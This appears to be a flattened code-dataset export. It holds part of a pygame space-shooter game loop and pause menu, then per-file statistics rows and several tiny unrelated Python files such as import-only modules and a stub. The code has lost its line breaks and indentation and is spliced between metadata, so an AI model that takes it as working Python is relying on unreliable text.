pygame.mixer.Sound(os.path.normpath("sound/Empty Weapon Sound 1.ogg")) empty_weapon_sound.play(0) if (event.key == pygame.K_RETURN) and (self.current_weapon.ammo > 0): if self.current_weapon.fire_mode == 'semi': self.current_weapon.primary_fire() elif self.current_weapon.fire_mode == 'auto': self.primary_fire = True if (event.key == pygame.K_SPACE) and (self.current_weapon.ammo > 0): if self.current_weapon.fire_mode == 'semi': self.current_weapon.secondary_fire() elif self.current_weapon.fire_mode == 'auto': self.secondary_fire = True if (event.key == pygame.K_RIGHT) and (self.weapon_toggle == len(self.weapon_inventory) - 1): self.weapon_toggle = 0 self.current_weapon.primary_fire_sound.stop() self.current_weapon.secondary_fire_sound.stop() elif (event.key == pygame.K_RIGHT) and (self.weapon_toggle < len(self.weapon_inventory) - 1): self.current_weapon.primary_fire_sound.stop() self.current_weapon.secondary_fire_sound.stop() self.weapon_toggle += 1 if (event.key == pygame.K_LEFT) and (self.weapon_toggle == 0): self.weapon_toggle = len(self.weapon_inventory) - 1 elif (event.key == pygame.K_LEFT) and (self.weapon_toggle > 0): self.weapon_toggle -= 1 if event.key == pygame.K_a: self.movement_x[0] = True if event.key == pygame.K_d: self.movement_x[1] = True if event.key == pygame.K_w: self.movement_y[0] = True if event.key == pygame.K_s: self.movement_y[1] = True if event.key == pygame.K_ESCAPE: pygame.mixer.music.pause() GAME_PAUSED_SOUND.play(0) self.movement_x, self.movement_y = [False, False], [False, False] dir.scene = game_paused_scene if event.type == pygame.KEYUP: if (event.key == pygame.K_RETURN): self.primary_fire = False self.current_weapon.primary_fire_sound.stop() if (event.key == pygame.K_SPACE): self.secondary_fire = False self.current_weapon.secondary_fire_sound.stop() if event.key == pygame.K_a: self.movement_x[0] = False if event.key == pygame.K_d: self.movement_x[1] = False if event.key == pygame.K_w: self.movement_y[0] = False if event.key == pygame.K_s: self.movement_y[1] = False def on_update(self): self.time = pygame.time.get_ticks() self.display_score = HUD_FONT.render(str(self.score), 1, WHITE) self.selected_weapon_text = HUD_FONT.render("Weapon:" + self.current_weapon.text, 1, WHITE) self.ammo_text = HUD_FONT.render("Ammo:" + str(self.current_weapon.ammo), 1, WHITE) self.current_weapon = self.weapon_inventory[self.weapon_toggle] if self.current_weapon.ammo < 0: self.current_weapon.ammo = 0 if self.current_weapon.fire_mode == 'auto': if self.primary_fire: self.current_weapon.primary_fire() if self.secondary_fire: self.current_weapon.secondary_fire() if self.movement_x[0]: self.defender.x += -4.333 self.draw_orientation[0] = True else: self.draw_orientation[0] = False if self.movement_x[1]: self.defender.x += +4.333 self.draw_orientation[1] = True else: self.draw_orientation[1] = False if self.movement_y[0]: self.defender.y += -2.333 self.draw_orientation[2] = True else: self.draw_orientation[2] = False if self.movement_y[1]: self.defender.y += +2.333 self.draw_orientation[3] = True else: self.draw_orientation[3] = False if not self.movement_x[0] and not self.movement_x[1]: self.defender.x += 0 if self.draw_orientation[2]: afterburner = AfterBurner(self.defender, self.movement_x, self.movement_y) self.particles.append(afterburner) if not self.movement_y[0] and not self.movement_y[1]: self.defender.y += 0 stars_ = random.randint(0, 13) if stars_ == 7: star = Star() self.stars.append(star) booster = Booster(self.defender, self.movement_x, self.movement_y) self.particles.append(booster) if self.lives <= 0: game_over_scene.__init__(dir) dir.scene = game_over_scene if self.n % 77 == 0: rand_ = random.randint(1,4) if rand_ == 1: self.enemy = RedGuy(0, 0) elif rand_ == 2: self.enemy = BlueGuy(0,0) else: # rand_ == 3: self.enemy = GoldGuy(0,0) #self.enemy = BossGuy(0, 0) #for n in range(self.enemy.layer_one_cube_number): #theta = (n + 1) * self.enemy.inner_circumference_division #boss_cube = BossCube(self.enemy, self.enemy.x + self.enemy.inner_shield_radius * math.sin(theta), self.enemy.y - self.enemy.inner_shield_radius * math.cos(theta), theta, True) # self.enemies.append(boss_cube) #for n in range(self.enemy.layer_two_cube_number): # theta = (n + 1) * self.enemy.outer_circumference_division # boss_cube = BossCube(self.enemy, self.enemy.x + self.enemy.outer_shield_radius * math.cos(theta), self.enemy.y + self.enemy.outer_shield_radius * math.sin(theta), theta, False) # self.enemies.append(boss_cube) self.enemies.append(self.enemy) self.defender.bounce() for pickup in self.pickups: pickup.update() pickup.delete(self) if pickup.collected(self.defender): notification = PickupNotification(self, pickup) notification.play_sound() self.notifications.append(notification) if (pickup.type == 1) and len(self.collectable_weapons) > 0: self.weapon_inventory.append(self.collectable_weapons[pickup.weapon_type]) self.collectable_weapons.remove(self.collectable_weapons[pickup.weapon_type]) if pickup.type == 2: self.weapon_inventory[pickup.weapon_type].ammo += pickup.contents if (pickup.type == 3) and (self.lives < 7): self.lives += 1 self.pickups.remove(pickup) for particle in self.particles: if particle.delete(): self.particles.remove(particle) particle.update() for star in self.stars: if star.delete(): self.stars.remove(star) star.update() for projectile in self.projectiles: if projectile.delete(): self.projectiles.remove(projectile) projectile.update() for enemy in self.enemies: enemy.update() enemy.bounce() for projectile in self.projectiles: if enemy.hit(projectile) == True: self.projectiles.remove(projectile) if enemy.dead() == True: self.score += enemy.score_() if enemy in self.enemies: self.enemies.remove(enemy) self.explosion_sounds[random.randint(0, 7)].play(0) explosion(enemy, self.particles) if random.randint(1, 7) == 7: if len(self.collectable_weapons) == 0: what_pickup = random.randint(2, 3) else: what_pickup = random.randint(1, 3) if what_pickup == 1: pickup = WeaponPickup(self, enemy.x, enemy.y) elif what_pickup == 2: pickup = AmmoPickup(self, enemy.x, enemy.y) elif what_pickup == 3: pickup = ExtraLife(self, enemy.x, enemy.y) self.pickups.append(pickup) else: HIT_SOUND.play(0) glancing_hit(enemy, self.particles) if enemy.enemy_attack(): self.lives += -1 vanish(self.lives + 1, self.particles) self.enemies.remove(enemy) self.explosion_sounds[random.randint(0, 7)].play(0) damage(enemy, self.particles) for notification in self.notifications: notification.delete(self) self.n += 1 def on_draw(self, mpos1, mpos2): SCREEN.fill(BLACK) for pickup in self.pickups: pickup.display() for i in range(self.lives): heart = Heart() heart.display(i) for particle in self.particles: particle.display() for projectile in self.projectiles: projectile.display() for enemy in self.enemies: enemy.display() for star in self.stars: star.display() for notification in self.notifications: notification.display() if (self.draw_orientation[0] and self.draw_orientation[1]) or (self.draw_orientation[2] and self.draw_orientation[3]): self.defender.display() elif self.draw_orientation[0]: self.defender.display_right() elif self.draw_orientation[1]: self.defender.display_left() elif self.draw_orientation[2]: self.defender.display_forward() elif self.draw_orientation[3]: self.defender.display_back() else: self.defender.display() SCREEN.blit(self.display_score, (round(WIDTH *0.84), round(HEIGHT *0.96))) SCREEN.blit(self.selected_weapon_text, (round(WIDTH *0.01), round(HEIGHT *0.85))) SCREEN.blit(self.ammo_text, (round(WIDTH * 0.01), round(HEIGHT * 0.9))) class GamePausedScene(Scene): def __init__(self, director): Scene.__init__(self, director) def unpause(): GAME_PAUSED_SOUND.play(0) pygame.mixer.music.unpause() dir.scene = game_play_scene def settings(): settings_menu_scene.previous_scene = self dir.scene = settings_menu_scene def high_scores(): high_scores_scene.__init__(dir) high_scores_scene.previous_scene = self dir.scene = high_scores_scene def about(): about_scene.previous_scene = self dir.scene = about_scene def main_menu(): quit_menu_scene.previous_scene = self quit_menu_scene.destination = main_menu_scene dir.scene = quit_menu_scene def quit_menu(): quit_menu_scene.previous_scene = self quit_menu_scene.destination = None dir.scene = quit_menu_scene self.functions = {'Play' : unpause, 'Settings' : settings, 'High Scores' : high_scores, 'About' : about, 'Main Menu' : main_menu, 'Quit' : quit_menu } self.menu = GameMenu( self.functions.keys(), self.functions, 2, 2) def on_update(self): pass def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: if event.key == pygame.K_ESCAPE: GAME_PAUSED_SOUND.play(0) pygame.mixer.music.unpause() dir.scene = game_play_scene self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): MENU_SELECT_SOUND.play(0) self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.menu.cur_item = None self.menu.set_mouse_visibility() SCREEN.fill(BLACK) display_game() for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) ######################################################################################################################## ######################################################################################################################## ' **** MAIN **** ' ######################################################################################################################## ######################################################################################################################## if __name__ == '__main__': dir = Director() splash_scene = SplashScene(dir) main_menu_scene = MainMenuScene(dir) settings_menu_scene = SettingsMenuScene(dir) controls_menu_scene = ControlsMenuScene(dir) controls_entry_scene = ControlsEntryScene(dir) high_scores_scene = HighScoresScene(dir) high_score_entry_scene = HighScoreEntryScene(dir) about_scene = AboutScene(dir) intro_cut_scene = IntroCutScene(dir, main_menu_scene) game_play_scene = GamePlayScene(dir, intro_cut_scene) game_paused_scene = GamePausedScene(dir) game_over_scene = GameOverScene(dir) quit_menu_scene = QuitMenuScene(dir) dir.scene = splash_scene dir.loop()
48.558096
197
0.57659
20,790
155,046
4.197691
0.029052
0.123112
0.171605
0.113819
0.853065
0.815057
0.785528
0.768191
0.744437
0.726573
0
0.03342
0.253525
155,046
3,192
198
48.573308
0.72061
0.011042
0
0.682031
0
0
0.026802
0
0
0
0
0
0
1
0.088672
false
0.003906
0.000781
0.001563
0.126563
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
2122895dfab39105f1d133ec223c8e6dd7db4f8a
14
py
Python
test/e2etest/data/pylint/original.py
joway/git-lint
29f0ab6a876c675f099d0aae4185c89e9c0a96a8
[ "Apache-2.0" ]
3
2015-04-05T13:52:31.000Z
2019-02-17T13:32:38.000Z
test/e2etest/data/pylint/original.py
joway/git-lint
29f0ab6a876c675f099d0aae4185c89e9c0a96a8
[ "Apache-2.0" ]
2
2017-04-28T18:51:26.000Z
2019-04-11T22:44:49.000Z
test/e2etest/data/pylint/original.py
joway/git-lint
29f0ab6a876c675f099d0aae4185c89e9c0a96a8
[ "Apache-2.0" ]
3
2017-02-17T23:41:03.000Z
2020-11-07T10:38:16.000Z
a = 1; FOO = 2
7
7
0.428571
4
14
1.5
1
0
0
0
0
0
0
0
0
0
0
0.222222
0.357143
14
2
7
7
0.444444
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
2129f0774eb8ccc8f16ccf860b4a4d469e87123d
67
py
Python
app/models/__init__.py
AOSC-Dev/modern-paste
0d47dc8911a17d84e61c14a650620a41c98b6d95
[ "MIT" ]
1
2020-04-08T22:09:54.000Z
2020-04-08T22:09:54.000Z
app/models/__init__.py
AOSC-Dev/modern-paste
0d47dc8911a17d84e61c14a650620a41c98b6d95
[ "MIT" ]
null
null
null
app/models/__init__.py
AOSC-Dev/modern-paste
0d47dc8911a17d84e61c14a650620a41c98b6d95
[ "MIT" ]
null
null
null
from .attachment import * from .paste import * from .user import *
16.75
25
0.731343
9
67
5.444444
0.555556
0.408163
0
0
0
0
0
0
0
0
0
0
0.179104
67
3
26
22.333333
0.890909
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
213bbebbc7eaa205aaf9810b3af771b403a762ae
27
py
Python
src/euler_python_package/euler_python/medium/p309.py
wilsonify/euler
5214b776175e6d76a7c6d8915d0e062d189d9b79
[ "MIT" ]
null
null
null
src/euler_python_package/euler_python/medium/p309.py
wilsonify/euler
5214b776175e6d76a7c6d8915d0e062d189d9b79
[ "MIT" ]
null
null
null
src/euler_python_package/euler_python/medium/p309.py
wilsonify/euler
5214b776175e6d76a7c6d8915d0e062d189d9b79
[ "MIT" ]
null
null
null
def problem309(): pass
9
17
0.62963
3
27
5.666667
1
0
0
0
0
0
0
0
0
0
0
0.15
0.259259
27
2
18
13.5
0.7
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
0
0
0
0
6
dcdd4bc19a2225d4d87dd9afe6dd3e686fe7753f
49
py
Python
lib/python/plow/__init__.py
onexeno/plow
5c19c78ce0579f624cc774ac260f3178286ccb07
[ "Apache-2.0" ]
null
null
null
lib/python/plow/__init__.py
onexeno/plow
5c19c78ce0579f624cc774ac260f3178286ccb07
[ "Apache-2.0" ]
3
2020-05-15T21:01:33.000Z
2021-12-09T20:25:17.000Z
lib/python/plow/__init__.py
onexeno/plow
5c19c78ce0579f624cc774ac260f3178286ccb07
[ "Apache-2.0" ]
null
null
null
from client import JobState, TaskState, NodeState
49
49
0.857143
6
49
7
1
0
0
0
0
0
0
0
0
0
0
0
0.102041
49
1
49
49
0.954545
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
dcdfeddebdc39195032e4fba7d728a220bd745f8
170
py
Python
src/CGPython/Commands/ReplaceWithCommand.py
BlackBeard98/Code-Generation
769ef8fd9162c0fae6326dc9d08e20bb5d20c067
[ "MIT" ]
1
2021-11-03T01:24:21.000Z
2021-11-03T01:24:21.000Z
src/CGPython/Commands/ReplaceWithCommand.py
BlackBeard98/Code-Generation
769ef8fd9162c0fae6326dc9d08e20bb5d20c067
[ "MIT" ]
null
null
null
src/CGPython/Commands/ReplaceWithCommand.py
BlackBeard98/Code-Generation
769ef8fd9162c0fae6326dc9d08e20bb5d20c067
[ "MIT" ]
null
null
null
import sys sys.path.append("..") from ..Modifiers import WithNode from CodeGenerationCore import Command class ReplaceWithCommand(Command,WithNode.WithNode): pass
18.888889
52
0.788235
19
170
7.052632
0.631579
0
0
0
0
0
0
0
0
0
0
0
0.123529
170
8
53
21.25
0.899329
0
0
0
0
0
0.011765
0
0
0
0
0
0
1
0
true
0.166667
0.5
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
6
0d2ee036fe03667608194b6fedbbc7f7af8b0c82
146
py
Python
TermTk/TTkWidgets/Fancy/__init__.py
UltraStudioLTD/pyTermTk
a1e96b0e7f43906b9fda0b16f19f427919a055c2
[ "MIT" ]
1
2022-02-28T16:33:25.000Z
2022-02-28T16:33:25.000Z
TermTk/TTkWidgets/Fancy/__init__.py
UltraStudioLTD/pyTermTk
a1e96b0e7f43906b9fda0b16f19f427919a055c2
[ "MIT" ]
null
null
null
TermTk/TTkWidgets/Fancy/__init__.py
UltraStudioLTD/pyTermTk
a1e96b0e7f43906b9fda0b16f19f427919a055c2
[ "MIT" ]
null
null
null
from .table import * from .tableview import * from .tree import * from .treeview import * from .treewidget import * from .treewidgetitem import *
20.857143
29
0.753425
18
146
6.111111
0.444444
0.454545
0
0
0
0
0
0
0
0
0
0
0.164384
146
6
30
24.333333
0.901639
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
37001565cfc17aa71458507aa02f87115a0ed714
212
py
Python
aci_tasks/__init__.py
iphilpot/ACITasks
a57d2f1aab0011d8b4b5eaeb00c0f368d6b689e5
[ "MIT" ]
null
null
null
aci_tasks/__init__.py
iphilpot/ACITasks
a57d2f1aab0011d8b4b5eaeb00c0f368d6b689e5
[ "MIT" ]
1
2021-06-02T00:43:06.000Z
2021-06-02T00:43:06.000Z
aci_tasks/__init__.py
ianphil/ACITasks
a57d2f1aab0011d8b4b5eaeb00c0f368d6b689e5
[ "MIT" ]
null
null
null
# from cloud import ( # ContainerInstance, # ResourceGroup, # ContainerGroupInstance # ) # __all__ = [ # 'ContainerInstance', # 'ResourceGroup', # 'ContainerGroupInstance' # ]
17.666667
31
0.59434
10
212
12.2
0.7
0.491803
0.852459
0
0
0
0
0
0
0
0
0
0.287736
212
11
32
19.272727
0.807947
0.84434
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
1
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
6